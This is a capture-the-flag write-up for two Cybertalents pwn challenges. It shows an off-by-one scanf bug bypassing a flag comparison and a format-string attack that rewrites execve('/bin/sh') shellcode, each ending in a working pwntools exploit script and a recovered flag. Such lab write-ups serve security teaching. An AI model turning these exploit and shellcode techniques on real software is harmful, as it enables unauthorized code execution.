Cybertalents - Pwn Challenges
Tricky
Overview
Challenge | Category | Points | Solves | Tags |
---|---|---|---|---|
Tricky | pwn | 50 | 5 | off_by_one stack_bof |
Join us in our super cool guessing game!
Checksec
[*] 'cybertalents/tricky/tricky'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
main
...
p_argc = &argc;
setgid(0);
setuid(0);
puts("hello there :D, did you came here for a flag? OK then guess it XD");
puts("your guess?> ");
if ( !fopen("./flag.txt", "r") )
exit(-1);
v3 = fread(flag, 1, 80);
__isoc99_scanf("%80s", input, v3);
if ( !strncmp(input, flag,80) )
{
puts("wow, wasn't expecting that!");
win();
}
else
{
puts("Wrooong!, bad guess");
}
The challenge basically opens the flag onto the flag stack buffer . and puts the input onto a stack buffer as well . let’s look at how the main
stack looks like in ida
Stack
Frame size: B0; Saved regs: 4; Purge: 0
...
-00000000000000B0 input db 80 dup(?)
-0000000000000060 flag db 80 dup(?)
-0000000000000010 strncmp_nbytes dd ?
-000000000000000C flag_file_handle dd ?
...
+0000000000000008 argc dd ?
+000000000000000C argv dd ? ; offset
+0000000000000010 envp dd ? ; offset
+0000000000000014
+0000000000000014 ; end of stack variables
so basically the input buffer is exactly 80 bytes and when it calls scanf it gives it a format “%80s” which means if we sent 80 bytes it will overflow onto the next buffer by one byte [the null terminator] . so we got an off-by-one error on our hands because scanf will read up to 80 bytes from us and add the null byte at the 81th byte . what can we do with it ?
GAME PLAN
- We can overflow the input buffer and and effectively set the first byte in the flag buffer to a null byte (0x0).
- set the first byte in our input buffer to (0x0) as well.
- strncmp check pass since both strings are now empty.
- profit
Exploit
from pwn import *
context.log_level = 'DEBUG'
os.chdir('/opt')
p = process('./tricky',stdin=PTY,stdout=PTY)
p.sendlineafter(b'your guess?> \n' , b'\0'*80)
p.interactive()
# Flag{S1mpl3_But_Vuln3rabl3!}
One shot
Overview
Challenge | Category | Points | Solves | Tags |
---|---|---|---|---|
One shot | pwn | 100 | 67 | format_strings, x86_shellcoding |
checksec
[*] 'cybertalents/oneshot/oneshot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main
...
exe_map = (char *)mmap(0xF77FF000, 32, 0, 34, 0, 0);
v6 = mprotect(exe_map, 32, 7);
if ( exe_map == (char *)-1 || v6 == -1 )
{
puts("mmap() or mprotect() failed. Please contact admin.");
((void (__stdcall *)(int))exit)(-1);
}
v3 = strlen(shellcode);
strncpy(exe_map, shellcode, v3);
*exe_map = 1;
exe_map[1] = 2;
printf("you have only one shot: ");
fgets(v7, 0xFF, stdin);
printf(v7);
((void (*)(void))exe_map)();
return 0;
The challenge basically creates a new executable/writeable/readable map in it’s process . copies whatever is in the shellcode address into this memory and then modifies the shellcode in someway and executes that map . let’s look at the shellcode content
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: cd 80 int 0x80
Nice . this is a valid way to do execve("/bin/sh",{"/bin/sh",NULL},0)
but there’s one caveat here . the challenge modifies the first two bytes to 01 and 02 respectively once it copies them onto the map . so the new shellcode changes to this before execution
0: 01 02 add DWORD PTR [edx], eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: cd 80 int 0x80
Which causes a SIGV . but all hope is not lost . the challenge gives us the ability to do call printf
with arbitrary input limited to 0xff
bytes. which is more than enuough to modify the shellcode and return it to it’s original condition.
Caveats
printf
format string is limited to 0xff bytes so we can put too much into it . we need the payload to be as small as possible hence we gonna use%hn
instead of%hhn
.- edx needs to be cleared as well at the beginning of the shellcode . because it caused some problems for me.
argv
inexecve
is not really necessary in here . we can omit it by just setting the second argument to 0x0.fgets
terminates on the newline char so our format string can’t have any\n
in it.- The map address doesn’t change cause the challenge is asking for it by using the first argument to
mmap
.
GAME PLAN
- rewrite the shellcode in the map using the format string.
- profit.
Exploit
from pwn import *
context.arch = 'i386'
if args.GDB:
p = gdb.debug('./oneshot',gdbscript='b* 0x08048757 \n c')
elif args.REMOTE:
p = remote(*args.REMOTE.split(':'))
else:
p = process('./oneshot')
off = 0x2c//4
shellcode = asm('''
xor edx,edx
xor eax,eax
xor ecx,ecx
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
''')
writes = {
0xf77ff000: shellcode
}
payload = fmtstr_payload(off, writes,write_size_max='short',badbytes=b'\n')
assert len(payload) <= 254
p.sendlineafter(
b'you have only one shot: ',
payload
)
p.interactive()
# flag{format_string_hn_is_super_useful}